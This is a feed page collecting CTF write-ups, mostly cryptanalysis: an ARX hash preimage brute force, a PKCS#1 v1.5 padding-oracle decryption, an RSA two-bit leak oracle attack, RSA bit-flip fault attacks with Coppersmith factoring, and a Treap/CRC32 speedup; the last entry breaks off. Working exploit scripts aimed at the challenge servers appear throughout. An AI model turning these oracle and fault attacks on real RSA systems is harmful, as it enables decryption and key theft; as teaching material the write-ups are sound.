Quantcast
Channel: writeup – More Smoked Leet Chicken
Viewing all 40 articles
Browse latest View live

Google CTF – Jekyll (Crypto)

$
0
0

Can you access the admin page? You can look at the crypto here.

source.py

Summary: finding a preimage for a simple 64-bit ARX-based hash.

Here’s the code of the web server:

def jekyll32(data, seed):
    def mix(a, b, c):
        a &= 0xFFFFFFFF; b &= 0xFFFFFFFF; c &= 0xFFFFFFFF;
 
        a -= b+c; a &= 0xFFFFFFFF; a ^= c >> 13
        b -= c+a; b &= 0xFFFFFFFF; b ^=(a <<  8)&0xFFFFFFFF
        c -= a+b; c &= 0xFFFFFFFF; c ^= b >> 13
        a -= b+c; a &= 0xFFFFFFFF; a ^= c >> 12
        b -= c+a; b &= 0xFFFFFFFF; b ^=(a << 16)&0xFFFFFFFF
        c -= a+b; c &= 0xFFFFFFFF; c ^= b >>  5
        a -= b+c; a &= 0xFFFFFFFF; a ^= c >>  3
        b -= c+a; b &= 0xFFFFFFFF; b ^=(a << 10)&0xFFFFFFFF
        c -= a+b; c &= 0xFFFFFFFF; c ^= b >> 15
 
        return a, b, c
 
    a = 0x9e3779b9
    b = a
    c = seed
    length = len(data)
 
    keylen = length
    while keylen >= 12:
        values = struct.unpack('<3I', data[:12])
        a += values[0]
        b += values[1]
        c += values[2]
 
        a, b, c = mix(a, b, c)
        keylen -= 12
        data = data[12:]
 
    c += length
 
    data += '\x00' * (12-len(data))
    values = struct.unpack('<3I', data)
 
    a += values[0]
    b += values[1]
    c += values[2]
 
    a, b, c = mix(a, b, c)
 
    return c
 
def jekyll(data):
    return jekyll32(data, 0x60061e) | (jekyll32(data, 0x900913) << 32)
 
...
cookie = self.request.cookies.get('admin')
if cookie is not None and jekyll(base64.b64decode(cookie)) == 0x203b1b70cb122e29:
    self.response.write('Hello admin!\n'+FLAG)
else:
    self.response.write('Who are you?')
...

So we need to find preimage of 203b1b70cb122e29 with hash described by the jekyll function, which simply concatenates two calls to jekyll32 with different seeds.

The core of jekyll32 is the mix function. It takes three 32-bit workds and transforms them using ARX operations. Note that mix is easily invertible if we have all three values. However the jekyll32 function returns only the third value.

The message is processed in blocks of 12 bytes and is padded with at least one zero. Let’s see what we can do with one block. The hash then works like this:

$$
\begin{split}
jekyll32 & (m_1 || m_2 || m_3, seed) = \\
& mix( (\text{9e3779b9},\text{9e3779b9},seed + length) + (m_1, m_2, m_3) ).
\end{split}
$$

We can set some random values to the outputs $a, b$, and invert the $mix$ function. Then, we subtract the initial constants and deduce a message which results in the given triple $a, b, c$, where $c$ is equal to the 32-bit half of the hash. Now we can change the seed and compute the hash and check if it matches the other half. That is, we need $2^{33}$ evaluations of the $mix$ function.

However, there is a problem: at least one zero byte is added, so with one block we can control only 11 bytes. That is, when we invert the $mix$ function, we don’t control the least significant byte of the third word, which need to be equal to $seed + length$. Thus, we have to try $2^8$ times more. It is still doable, but takes quite a lot of time.

Let’s instead consider messages with two blocks. We won’t care about the second block, we will use only the fact that the first block is fully controlled by us. So we can actually let the second block be the zero pad. And the general scheme stays the same.

To sum up the attack:

  • let $h_1, h_2$ be 32-bit halves of the target hash;
  • choose random $a, b$;
  • compute $t = mix^{-1}(a, b, h_1)$;
  • subtract $length = 12$;
  • compute $s = mix^{-1}(t – 12)$;
  • deduce $m = s – (\text{9e3779b9},\text{9e3779b9},seed1)$;
  • check if $jekyll32(m, seed_2) == h_2$.

We will have to repeat this around $2^{32}$ times, each time we do $4$ evaluations of $mix$ or $mix^{-1}$.

Here’s C++ code:

#include <bits/stdc++.h>
// g++ brute.cpp -O3 -std=c++11 -o brute && time ./brute
 
struct State {
    uint32_t a, b, c;
    void mix() {
        a -= b+c;
        a ^= c >> 13;
        b -= c+a;
        b ^= a << 8;
        c -= a+b;
        c ^= b >> 13;
        a -= b+c;
        a ^= c >> 12;
        b -= c+a;
        b ^= a << 16;
        c -= a+b;
        c ^= b >> 5;
        a -= b+c;
        a ^= c >> 3;
        b -= c+a;
        b ^= a << 10;
        c -= a+b;
        c ^= b >> 15;
    }
    void unmix() {
        c ^= b >> 15;
        c += a+b;
        b ^= a << 10;
        b += c+a;
        a ^= c >> 3;
        a += b+c;
        c ^= b >> 5;
        c += a+b;
        b ^= a << 16;
        b += c+a;
        a ^= c >> 12;
        a += b+c;
        c ^= b >> 13;
        c += a+b;
        b ^= a << 8;
        b += c+a;
        a ^= c >> 13;
        a += b+c;
    }
};
 
uint32_t STARTCONST = 0x9e3779b9;
uint32_t LENGTH = 12;
uint32_t SEED1 = 0x60061e;
uint32_t SEED2 = 0x900913;
uint32_t HASH1 = 0xcb122e29;
uint32_t HASH2 = 0x203b1b70;
 
int main() {
    for(uint64_t a = 0; a < 1ll << 32; a++) {
        if ((a & 0xffffff) == 0) {
            printf("%08x\n", a);
        }
        State s = {a, 0x31337, HASH1};
        s.unmix();
        s.c -= LENGTH;
        // subtract message, but we set it to zeroes
        // so do nothing
        s.unmix();
 
        uint32_t p[3];
        p[0] = s.a - STARTCONST;
        p[1] = s.b - STARTCONST;
        p[2] = s.c - SEED1;
        s.a = p[0] + STARTCONST;
        s.b = p[1] + STARTCONST;
        s.c = p[2] + SEED2;
        s.mix();
        s.c += LENGTH;
        s.mix();
 
        if (s.c == HASH2) {
            printf("GOOD: %08x %08x %08x\n", p[0], p[1], p[2]);
            printf("PLAIN: ");
            for(int i = 0; i < 8; i++)
                printf("%02x", (char*)p + i);
            printf("\n");
        }
    }
    return 0;
}
GOOD: 5cc80e2e e7fee109 d6d486f1
PLAIN: 2e0ec85c09e1fee7f186d4d6
2m2.185s

The flag: CTF{diD_y0u_ruN_iT_0N_Y0uR_l4PtoP?}


Google CTF – Spotted Wobbegong (Crypto 100)

$
0
0

Are you able to defeat 1024-bit RSA?

public.pem

Summary: breaking RSA with PCKS v1.5 padding and exponent 3.

On the web page we see the two options: get token and check token. It is also said the the message is encrypted using PCKS v1.5 padding. The tokens are randomized. An example token:

{"token": "226ef61c703ff633889a44becc24fce9ba196
852aab918057c30f3ca63d0c32ee43b8cec004789ef6e6f4
55f141bde90fbb0bec96583f06ea7db0948a77da4ec65f49
1456690653024c312778838e411c579f07261cd3e238fc88
36637b95d94d1eca3e1b33a061fd25683f768462c35eca44
2558c21eaa7fed42f187210ac7a"}

Let’s look at the public key:

$ openssl rsa -in publickey -pubin -text
Public-Key: (1024 bit)
Modulus:
    00:96:e0:7d:13:84:28:34:45:11:25:9c:59:13:6e:
    9b:0a:e9:f1:44:50:1e:d1:0d:e1:76:9a:53:c8:93:
    e9:6b:db:a2:6b:ce:10:48:1c:e2:1f:53:30:c4:75:
    43:61:57:47:9f:4e:c0:9f:45:45:08:1b:ca:6f:94:
    af:21:27:3c:2b:89:36:a5:f5:59:be:8f:73:9b:b9:
    99:c2:d3:72:04:ec:c4:e1:c8:cb:ba:77:43:b8:99:
    09:9b:71:3e:aa:96:14:ed:f8:c9:1f:d0:94:ce:61:
    92:11:de:f9:39:39:e2:4e:3c:ae:01:34:c7:0b:3a:
    18:d9:7b:53:e3:6c:db:3d:e5
Exponent: 3 (0x3)

1024 bit modulus and the exponent is 3, suspicious!

In brief, PKCSv1.5 is a padding for RSA encryption which looks like this:

$(00)(message\ type)(random\ bytes)(00)(message)$.

The message type is usually equal to $02$.

PKCSv1.5 is known to be vulnerable to padding oracle attacks, that is what we have here. There is a writeup on Dobbertin Challenge 2012, where the Bleichenbacher attack is used to decrypt arbitrary messages. But it seems it is quite slow here, also we don’t get the message type byte from the oracle.

Let’s encrypt some correctly padded message and see the answer from the server:

import requests
from libnum import s2n, n2s, invmod
 
def oracle(c):
    c = "%x" % c
    if len(c) & 1:
        c = "0" + c
    data = '{"token": "%s"}' % c
    r = requests.post("https://spotted-wobbegong.ctfcompetition.com/checktoken", data=data, verify=False)
    return r.content
 
N = 105949368219170569676644297776119989261727047689020303679150543602433973822995622211997257369689976874802809991413640314155194724653004419692410129247990491389423643529600372760167148548937151460112884769720131611650468716029162594828863368194056749527587059285082313899147126415401813360799509875983663185381
E = 3
 
m = "\x00\x02"
m = m.ljust(95, "R") + "\x00"
m = m.ljust(128, "M")
c = s2n(m)
c = pow(s2n(m), E, N)
print oracle(c)

The answer is:

{
"status": "invalid",
"decoded": "4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d4d",
"message": "token is invalid"
}

If the padding is correct the server leaks the decoded message! We can exploit this to decrypt the token: we just need to find some multiplicatively related correctly padded message.

And that is quite easy: assume that the padded unknown message $m$ has some small factor, e.g. 17. Then we can multiply the ciphertext by modular inverse of $17^e$ and the respective message will be divided by 17. Afterwards, we can multiply it back but by slightly different value, e.g. 16 or 18. As a result, we have multiplied the message by a fraction $16/17$ or $18/17$. In such a way a few of the most significant bits won’t change. And the padding bytes 00 02 will stay correct. If we manage to get the middle 00 byte somewhere (it happens quite often by chance), then we can leak some part of the message. After multiplying it back by the inverse fraction, we will recover part of the original message.

Note that we can’t multiply by the inverse fraction modulo $N$, because we don’t leak the full value, e.g. we don’t leak the random bytes. But we can do it modulo a power of 2. And for this to be possible, both numerator and denominator of the fraction should be odd. So let’s assume we multiply by $19/17$.

Let $m = padding \cdot 2^k + s$, where $k$ is some integer and $s$ is the secret text smaller than $2^{k-8}$. If the described event happens, then

$$m \cdot \frac{19}{17} = \frac{19}{17} \cdot 2^k \cdot padding + \frac{19}{17} \cdot s = rand \cdot 2^t + s’$$.

We leak $s’$ and if we consider the equations modulo $2^t$, then we can multiply $s’$ by $17/19$ and recover $s \pmod{2^t}$.

Let’s try it! Here’s the code:

import json
import requests
from libnum import s2n, n2s, invmod
 
def oracle(c):
    c = "%x" % c
    if len(c) & 1:
        c = "0" + c
    data = '{"token": "%s"}' % c
    r = requests.post("https://spotted-wobbegong.ctfcompetition.com/checktoken", data=data, verify=False)
    return r.content
 
# some valid token
token = 0x876c7524d3cf53cd2169a438835c397b2b7e09b783f8b595eb75b88595dec403f10f946141f57dfdcebd330ef2f243b0b8ebbfa32958d2564fcf73768315f5e1ba73e94efd933b696e9cc30978ad73017dfc06a34ee7947cd048deea599597391794e08e43028717bf907929b9195194a2731ac6b98244a73745431398cdaf71
 
N = 105949368219170569676644297776119989261727047689020303679150543602433973822995622211997257369689976874802809991413640314155194724653004419692410129247990491389423643529600372760167148548937151460112884769720131611650468716029162594828863368194056749527587059285082313899147126415401813360799509875983663185381
E = 3
 
for d in xrange(3, 50, 2):
    c = token
    c = (c * invmod(pow(d, E, N), N)) % N
    c = (c * pow(d + 2, E, N)) % N
    res = oracle(c)
    print d, ":", res
    if "decoded" in res:
        leaked = json.loads(res)["decoded"].decode("hex")
        t = len(leaked) * 8 + 8
        mod = 2**t
 
        s = s2n(leaked)
        s = (s * d * invmod(d + 2, mod)) % mod
        print `n2s(s)`

Let’s run it:

$ py wu.py 
3 : {"status": "invalid", "message": "Could not decrypt token"}
5 : {"status": "invalid", "message": "Could not decrypt token"}
7 : {"status": "invalid", "message": "Could not decrypt token"}
9 : {"status": "invalid", "decoded": "be004da5a80f8a36ce85ab9be
442326d2d7d5ba6b663e0feca1da42752433759e3e083729688de33c02a3e38
a59c0550895f86fe8938f9a59ae121c2431afb03b87bf86ccd4f56505438edc
1faf9f86cc72a4313a54ffad8f15f94177580dc42c1c1c227", "message":
"token is invalid"}
't\xf8\x8b\xe2pC\xaf\x9f\xa14\x9b\xe9\x7f\x8c6)B\r\xf23\xb6\xf2
Q\xb8\x16HF\xcc ,\x08s\x1b\x00CTF{***What*happens*to*grapes*whe
n*you*step*on*them***They*wine***}'

Nice! We got the full flag: CTF{***What*happens*to*grapes*when*you*step*on*them***They*wine***}

PS: Note that the described attack does not use the fact the the exponent 3 is small. So maybe the authors expected another attack. Please let me know if you are aware of a suitable attack here which exploits the small exponent.

Tokyo Westerns/MMA CTF 2016 – Pinhole Attack (Crypto 500)

$
0
0

Decrypt the cipher text with a pinhole.

$ nc cry1.chal.ctf.westerns.tokyo 23464
pinhole.7z

Summary: attacking RSA using decryption oracle leaking 2 consecutive bits in the middle.

In this challenge we are given an access to a decryption oracle, which leaks only 2 consecutive bits in the middle of the decrypted plaintext:

b = size(key.n) // 2
 
def run(fin, fout):
    alarm(1200)
    try:
        while True:
            line = fin.readline()[:4+size(key.n)//4]
            ciphertext = int(line, 16) # Note: input is HEX
            m = key.decrypt(ciphertext)
            fout.write(str((m >> b) & 3) + "\n")
            fout.flush()
    except:
        pass

We are also given an encrypted flag and our goal is to decrypt it.

Recall that plain RSA is multiplicatively homomorphic: we can multiply ciphertext by $r^e$ and the plaintext is the multiplied by $r$: we need only the public key to do it.

Let’s multiply the ciphertext by $2^{-e}$. Assume that the oracle gives bits $(a,b)$ for the ciphertext $C$ and $(c,d)$ for the ciphertext $2^{-e}C\pmod{N}$. Then there are two cases:

  • If the message $M$ is even, then dividing by 2 is equivalent to shifting it right by one bit.
  • Otherwise, $M$ is transformed into $(M + N) / 2$.

In the first case due to the shift we must have $d = a$. In the second case, depending on the carries it can be anything. However, if $d \ne a$ then we learn for sure the the LSB of $M$ is odd. As a result we get this probabilistic LSB oracle:

  • $a,b = oracle(C);$
  • $c,d = oracle(2^{-e}C);$
  • If $d \ne a$ then $LSB(M) = 1.$

How can we use it?

Let’s assume that we confirm that $LSB(M) = 1$. Otherwise we can “randomize” the ciphertext by multiplying it by some $r^e$ (we will be able to remove this constant after we fully decrypt the message) until we get the condition hold.

Remember that we can multiply the message by any number $d$, what do we learn from the oracle when it happens that $LSB(dM \mod{N}) = 1$? Let $k = floor(dM/N)$, then:

$$dM – kN \equiv 1 \pmod{2}.$$

We know that $N$ is odd and $M$ is odd, hence

$$k = d + 1 \pmod{2}.$$

We also know $d$, therefore we learn parity of $k$. If $d$ is small, we can enumerate all possible $k$, since $k < d$. Each candidate $k_0$ gives us a possible range for the message (from the definition of $k$): $$\frac{kN}{d} \le M < \frac{(k+1)N}{d}.$$ Example: assume that $LSB(5M \mod{N}) = 1$. Then $k$ is even and is less than $5$. The possible candidates are $0,2,4$. That is, the message $M$ must be in one of the three intervals:

$$0 \le M < N/5, \text{or}$$ $$2N/5 \le M < 3N/5, \text{or}$$ $$4N/5 \le M < 5N/5.$$ So we have reduced the possible message space. Note however that these intervals have size at least $N/d$. If we want to reduce the message space to only few messages, we would need large $d$. Then we will not be able to check all candidates for $k$!

But there is a nice trick, we can deduce the possible intervals for $k$ for given $d$ from obtained previously intervals for $M$! I learnt this trick from this article, explaining the Bleichenbacher’s attack (see section “Narrowing the initial interval”). Indeed, if $l \le M \le r$ then

$floor(\frac{dl}{N}) \le k \le floor(\frac{dr}{N}).$

To sum up, here is the algorithm structure:

  1. Set possible range for $M = [0,N-1]$.
  2. Set small $d$.
  3. Loop:
    1. If $oracle_{LSB}(dM \mod{N}) = ?$ then try another $d$.
    2. For each possible interval for $M$:
      1. Deduce possible range for $k$.
      2. Iterate over all $k$ with parity different from $d % 2$ and obtain union of possible intervals for $M$.
      3. Intersect these intervals with the previous intervals for $M$.
    3. Increase $d$, for example double it.

There is a small detail. If we keep doubling $d$, then number of intervals for $M$ grows quickly and makes the algorithm slower. To keep the number of intervals small, we can multiply $d$ by let’s say 1.5 instead of 2 when there are too many intervals.

Here’s python code (works locally by simulating oracle using the secret key):

from libnum import invmod, len_in_bits
from libnum.ranges import Ranges # added recently
 
from Crypto.PublicKey import RSA
 
with open("secretkey.pem", "r") as f:
    key = RSA.importKey(f.read())
with open("publickey.pem", "r") as f:
    pkey = RSA.importKey(f.read())
 
nmid = len_in_bits(pkey.n) // 2
 
C = int(open("ciphertext").read())
n = pkey.n
e = pkey.e
i2 = pow(invmod(2, n), e, n)
 
def oracle(c):
    m = key.decrypt(c)
    v = (m >> nmid) & 3
    a = v >> 1
    b = v & 1
    return a, b
 
def oracle_lsb(ct):
    a, b = oracle(ct)
    c, d = oracle( (i2 * ct) % n )
    if d != a:
        return True
    return None
 
rng = Ranges((0, n - 1))
assert oracle_lsb(C), "need blinding..."
print "Good"
 
div = 2
ntotal = 0
ngood = 0
while 1:
    ntotal += 1
    div %= n
    C2 = (pow(div, e, n) * C) % n
    if not oracle_lsb(C2):
        div += 1
        continue
 
    ngood += 1
    cur = Ranges()
    for ml, mr in rng._segments:
        kl = ml * div / n
        kr = mr * div / n
        # ensure correct parity
        if kl % 2 == div % 2:
            kl += 1
        k = kl
        while k <= kr:
            l = k * n / div
            r = (k + 1) * n / div
            cur = cur | Ranges((l, r))
            k += 2
 
    rng = rng & cur
    print "#%d/%d" % (ngood, ntotal), "good", div, "unknown bits:", len_in_bits(rng.len), "num segments", len(rng._segments)
 
    if rng.len <= 100:
        print "Few candidates left, breaking"
        break
 
    # heuristic to keep fewer intervals for M
    if len(rng._segments) <= 10:
        div = 2*div
    else:
        div = div + (div / 2) + (div / 4)
 
M = int(open("message").read())
print "Message in the %d candidates left?" % rng.len, M in rng

One interesting thing is that the success probability of the described LSB oracle depends on $N$ strongly. For some $N$ it is equal 50% and for some $N$ it is only about 10%. This happens due to different carry chances depending the middle bits of $N$. Have a look at @carllondahl‘s writeup, where he investigates more cases for the oracle.

CSAW Quals 2016 – Broken Box (Crypto 300 + 400)

$
0
0

I made a RSA signature box, but the hardware is too old that sometimes it returns me different answers… can you fix it for me?}

e = 0x10001

nc crypto.chal.csaw.io 8002

Summary: fault attack on RSA signatures, factoring using private exponent exposure.

In these two challenges we were given black-box access to a RSA signing (decryption oracle). We need to decrypt a given flag, but the oracle allows only to sign values in range 0-9999. Moreover, sometimes it gives different signatures for same values, because there are some faults due to “hardware errors” mentioned in the description.

Part 1

The simplest fault attacks on RSA are attacks on RSA-CRT, where by using gcd we can factor the modulus. However we tried to apply them and they failed. Therefore, it is probably not RSA-CRT scheme there.

By sampling signatures of, let’s say number 2, we can find that there are about 1000 unique values. It matches the size of the modulus in bits. Then it may be that the server flips some single bit of the secret exponent sometimes. There was a similar challenge already at this year’s Plaid CTF, but there we didn’t get enough bits.

Here’s how we can check our hypothesis: if we get $s = 2^{d \oplus 2^k} \mod{N}$ for some $k$, we can guess $k$ and check if $(s\times 2^{\pm 2^k})^e \mod N = 2$. If this condition holds, then we learn one bit from the secret exponent, depending on the sign of $\pm k$.

Indeed, the following script waits to collect all unknown bits and prints the flag for the first part:

import ast
from sock import Sock
from libnum import *
 
N = 172794691472052891606123026873804908828041669691609575879218839103312725575539274510146072314972595103514205266417760425399021924101213043476074946787797027000946594352073829975780001500365774553488470967261307428366461433441594196630494834260653022238045540839300190444686046016894356383749066966416917513737
E = 0x10001
sig_correct = 22611972523744021864587913335128267927131958989869436027132656215690137049354670157725347739806657939727131080334523442608301044203758495053729468914668456929675330095440863887793747492226635650004672037267053895026217814873840360359669071507380945368109861731705751166864109227011643600107409036145468092331
C = int(open("flag.enc").read())
 
f = Sock("crypto.chal.csaw.io 8002")
f.send_line("2")
f.read_until("no")
 
def sign(val):
    f.send_line("yes")
    f.send_line("%d" % val)
    sig, mod = map(int, f.read_until_re(r"signature:(\d+), N:(\d+)\s").groups())
    assert mod == N
    return sig
 
try:
    bits, vals = ast.literal_eval(open("dump").read())
except:
    bits, vals = {}, []
vals = set(vals)
 
print len(bits), "known bits"
num = 2
 
gs = {
    num * pow(num, (1 << e) * E, N) % N
    : e for e in xrange(0, 1030)
}
gsi = {
    (num * invmod(pow(num, (1 << e) * E, N), N)) % N
    : e for e in xrange(0, 1030)
}
 
while 1:
    if len(bits) >= 1024:
        print len(bits), "known", set(range(1025)) - set(bits), "unknown"
        d = sum(1 << e for e, b in bits.items() if b)
        print "Try:", `n2s(pow(C, d, N))`
 
    sig = sign(num)
    if sig in vals:
        continue
    vals.add(sig)
    test = pow(sig, E, N)
    if test in gs:
        bits[gs[test]] = 0
        print "bit[%d] = 0" % gs[test]
    if test in gsi:
        bits[gsi[test]] = 1
        print "bit[%d] = 1" % gsi[test]
    open("dump","w").write(`(bits, list(vals))`)
    print len(bits), "known bits"

The flag: flag{br0k3n_h4rdw4r3_l34d5_70_b17_fl1pp1n6}

Part 2

In the second part, the server has faults only in the 300 least significant bits of the secret exponent.

There is an LLL-based attack when more than quarter of the secret exponent bits are known. You can read more about these attacks in an awesome paper “Twenty Years of Attacks on the RSA Cryptosystem” by Dan Boneh (page 11):

$$ed – k\phi(N) = 1, ~\mbox{where}~ k < e$$ $$ed - k(N - p - q + 1) = 1$$ $$ed - k(N - p - q + 1) \equiv 1 \pmod {2^l}, ~\mbox{where}~ l = 300$$ $$ped - k(Np - p^2 - N + p) \equiv p \pmod {2^l}$$ We can guess $k < e$ and then we have a quadratic equation on the least significant bits of $p$. We can solve this quadratic equation bit-by-bit by solving it modulo 2, 4, 9, etc.

After finding 300 least significant bits of $p$, we can use Coppersmith method for finding small roots of polynomials modulo $p$: assume we know $t$ and $r$ such that $p = rx + t$. In our case $r$ is $2^{300}$. We multiply both sides by inverse of $r$ modulo $N$: $r^{-1}p = x + r^{-1}t \pmod{N}$. We see that x is a small root of polynomial $x + r^{-1}t$ modulo $p$ and so we can compute it with the Coppersmith’s method.

Here’s the full code (Sage):

from sage.all import *
 
N = 123541066875660402939610015253549618669091153006444623444081648798612931426804474097249983622908131771026653322601466480170685973651622700515979315988600405563682920330486664845273165214922371767569956347920192959023447480720231820595590003596802409832935911909527048717061219934819426128006895966231433690709
E = 97
C = 96324328651790286788778856046571885085117129248440164819908629761899684992187199882096912386020351486347119102215930301618344267542238516817101594226031715106436981799725601978232124349967133056186019689358973953754021153934953745037828015077154740721029110650906574780619232691722849355713163780985059673037
L = 300
 
bits = [0, 2, 3, 5, 6, 7, 9, 10, 11, 13, 15, 16, 17, 18, 19, 22, 23, 25, 26, 27, 31, 32, 33, 35, 36, 39, 40, 41, 44, 45, 46, 48, 49, 52, 54, 55, 56, 60, 62, 63, 64, 67, 68, 72, 73, 74, 76, 80, 82, 83, 85, 88, 89, 91, 92, 93, 94, 98, 99, 101, 108, 109, 113, 115, 116, 117, 118, 119, 122, 128, 129, 131, 132, 133, 135, 142, 143, 144, 147, 152, 153, 156, 157, 160, 164, 166, 167, 168, 169, 170, 175, 177, 180, 181, 182, 185, 186, 189, 192, 193, 194, 195, 196, 197, 199, 202, 203, 205, 207, 208, 209, 211, 213, 215, 216, 217, 219, 220, 221, 222, 223, 225, 226, 227, 230, 233, 234, 235, 236, 238, 240, 242, 246, 247, 249, 252, 253, 255, 263, 264, 265, 266, 268, 271, 272, 273, 275, 276, 280, 285, 287, 288, 293, 294]
dlow = sum(2**e for e in bits)
 
x = PolynomialRing(Zmod(N), names='x').gen()
 
mod = 1 << L
imod = inverse_mod(mod, N)
 
def solve_quadratic_mod_power2(a, b, c, e):
    roots = {0}
    for cure in xrange(1, e + 1):
        roots2 = set()
        curmod = 1 << cure
        for xbit in xrange(2):
            for r in roots:
                v = r + (xbit << (cure - 1))
                if (a*v*v + b*v + c) % curmod == 0:
                    roots2.add(v)
        roots = roots2
    return roots
 
 
for k in xrange(1, E):
    a = k
    b = E*dlow - k*N - k - 1
    c = k*N
    for plow in solve_quadratic_mod_power2(a, b, c, L):
        print "k", k, "plow", plow
        roots = (x + plow * imod).small_roots(X=2**(215), beta=0.4)
        print "Roots", roots
        if roots:
            root = int(roots[0])
            kq = root + plow * imod
            q = gcd(N, kq)
            assert 1 < q < N, "Fail"
            p = N / q
            d = inverse_mod(E, (p - 1) * (q - 1))
            msg = pow(C, d, N)
            # convert to str
            h = hex(int(msg))[2:].rstrip("L")
            h = "0" * (len(h) % 2) + h
            print `h.decode("hex")`
            quit()

And for $k=53$ we get the flag: flag{n3v3r_l34k_4ny_51n6l3_b17_0f_pr1v473_k3y}.

HITCON CTF QUALS 2016 – Reverse (Reverse + PPC 500)

$
0
0

At least our ETA is better than M$.
http://xkcd.com/612/

reverse.bin

Summary: optimizing an algorithm using Treap data structure and CRC32 properties.

After reverse-engineering the binary, we can write the following pseudocode in python:

from binascii import crc32
 
def lcg_step():
    global lcg
    lcg = (0x5851F42D4C957F2D * lcg + 0x14057B7EF767814F) % 2**64
    return lcg
 
def extract(val):
    res = 32 + val - 95 * ((
        ((val - (0x58ED2308158ED231 * val >> 64)) >> 1) +
        (0x58ED2308158ED231 * val >> 64)) >> 6)
    return chr(res & 0xff)
 
buf = []
lcg = 8323979853562951413
 
crc = 0
for i in xrange(31415926):
    # append a symbol
    c = extract( lcg_step() )
    buf.append(c)
 
    # reverse interval
    x = lcg_step() % len(buf)
    y = lcg_step() % len(buf)
    l, r = min(x, y), max(x, y)
    buf[l:r+1] = buf[l:r+1][::-1]
 
    # update crc
    crc = crc32("".join(buf), crc) % 2**32
 
array = [...] # from binary
flag = ""
for i in range(len(array)):
    if buf[array[i]] == "}":
        flag += "%08x" % crc
    flag += buf[array[i]]

The binary generates a large array using an LCG PRNG, reverses subarrays defined by PRNG and updates the CRC of the whole state after each iteration. There are 31 million iterations total, and straightforward reversing subarrays and computing CRC32 will take quadratic time so this is going to be infeasible. We have to come up with better algorithm.

One of the data structures which can quickly reverse intervals is the Treap which is also known as randomized binary search tree. Since it is basically a binary search tree, it can easily be modified to maintain and update various sums on intervals. Since CRC32 is not a simple sum, it requires some special care. I took the basic implementation of Treap from here (the code in the end of the article).

A good thing about Treap is that it allows to quickly “extract” a node which corresponds to any interval of the array. In conjunction with lazy propagation, it allows to do cool things. For example, to reverse an interval we “extract” the node corresponding to that interval and set a “rev” flag. If then later we visit this node for some reason, the reversal is “pushed down”: two children of the node are swapped and each children’s “rev” flag is flipped. In such lazy way we will do logarithmic number of operations per each reversal on average.

The main problem here is to update the CRC32 state with the whole array after each reversal. We need to teach our Treap to compute CRC32 even after performing reversals.

Note that the CRC32 value is added to the flag only in the end, thus, using this basic Treap, we can already compute the final string and extract the first part of the flag in a few minutes:

hitcon{super fast reversing and CRC32 – [FINAL CRC HERE]}

Unfortunately, we HAVE to compute the CRC to get the points. Let’s do it!

About CRC32

The CRC32 without the initial and the final xors with 0xffffffff (let’s call it $rawCRC32$) is simply multiplication modulo an irreducible polynomial over $GF(2)$:

$$rawCRC32(m) = m \times x^{32} \mod P(x),$$

where

$$\begin{split}
P(X) & = & X^{32}+X^{26}+X^{23}+X^{22}+X^{16}+X^{12}+X^{11}+ \\
& + & X^{10}+X^8+X^7+X^5+X^4+X^2+X+1.
\end{split}$$

Such polynomials are nicely stored in 32-bit words. For example, $P(x) = \mathtt{0xEDB88320}$ (MSB are lowest degree terms). Multiplications are done in a way similar to fast exponentiation (see Finite field arithmetic).

A good thing is that $rawCRC32(m)$ is linear:

$$rawCRC32(a \oplus b) = rawCRC32(a) \oplus rawCRC32(b).$$

Shifting the message left by one bit is equivalent to multiplying it by $x$. Therefore, for concatenation we get:

$$rawCRC32(a || b) = rawCRC32(a) \times x^{|b|} \oplus rawCRC32(b).$$

Using this formula allows us to combine CRC values of two large strings quite quickly. Computing $x^{|y|}$ can be done using fast exponentiation or simply precomputed.

Adding CRC32 into the Treap

Let’s store in each tree node the $rawCRC32$ of the corresponding segment and, additionally, $rawCRC32$ of the reversed segment. Then, depending on the “rev” flag we may retrieve one or the other value. When we “push” the lazy reversal down, we simply swap the two values. The main part is then in computing the two $rawCRC$ values of a node using values of its child nodes. This is quite easy to code using the concatenation formula given before. The formula is also useful when merging the CRCs of the consequtive states.

Here is the CRC-related code:

uint32_t POLY = 0xedb88320L;
uint32_t HI = 1u << 31;
uint32_t LO = 1;
uint32_t ONEBYTE = (1u << 31) >> 8;
 
uint32_t BYTE_CRC[256];
uint32_t SHIFT_BYTES[100 * 1000 * 1000];
 
inline uint32_t poly_mul(uint32_t a, uint32_t b) {
    uint32_t p = 0;
    while (b) {
        if (b & HI) p ^= a;
        b <<= 1;
        if (a & LO) a = (a >> 1) ^ POLY;
        else a >>= 1;
    }
    return p;
}
 
void precompute() {
    SHIFT_BYTES[0] = HI; // 1
    FOR(i, 1, 100 * 1000 * 1000) {
        SHIFT_BYTES[i] = poly_mul(SHIFT_BYTES[i-1], ONEBYTE);
    }
    FORN(c, 256) {
        BYTE_CRC[c] = poly_mul(c, ONEBYTE);
    }
}
 
inline uint32_t lift(uint32_t crc, LL num) {
    return poly_mul(crc, SHIFT_BYTES[num]);
}

And here is modification of the Treap related to the CRC:

inline uint32_t crc1(pitem it) {
    if (!it) return 0;
    if (it->rev) return it->crc_backward;
    return it->crc_forward;
}
inline uint32_t crc2(pitem it) {
    if (!it) return 0;
    if (it->rev) return it->crc_forward;
    return it->crc_backward;
}
 
inline void update_up (pitem it) {
    if (it) {
        it->cnt = cnt(it->l) + cnt(it->r) + 1;
 
        int left_size = cnt(it->l);
        int right_size = cnt(it->r);
        uint32_t cl, cr, cmid;
        cmid = BYTE_CRC[it->value];
 
        cl = crc1(it->l);
        cr = crc1(it->r);
        it->crc_forward = lift(cl, right_size + 1) ^ lift(cmid, right_size) ^ cr;
 
        cl = crc2(it->l);
        cr = crc2(it->r);
        it->crc_backward = cl ^ lift(cmid, left_size) ^ lift(cr, left_size + 1);
    }
}
 
inline void push (pitem it) {
    if (it && it->rev) {
        swap(it->crc_forward, it->crc_backward);
        it->rev = false;
        swap (it->l, it->r);
        if (it->l)  it->l->rev ^= true;
        if (it->r)  it->r->rev ^= true;
    }
}

The full solution is available here.

This code works for ~40 minutes on my laptop and produces the final CRC: d72a4529.

The flag then is hitcon{super fast reversing and CRC32 – d72a4529}.

Hack.lu 2010 CTF Challenge #18 Writeup

$
0
0

Digital Treasure Chest (300)
You were asked to pentest the 1.1 beta-version of the digital treasure chest.
Finding an authentication bypass appears to be trivial to you.
pirates.fluxfingers.net 6969/tcp

$ nc pirates.fluxfingers.net 6969
010 WELCOME. Please Enter your secret digits
0
555 Wrong credentials

If we try some more numbers, we will get:

$ nc pirates.fluxfingers.net 6969
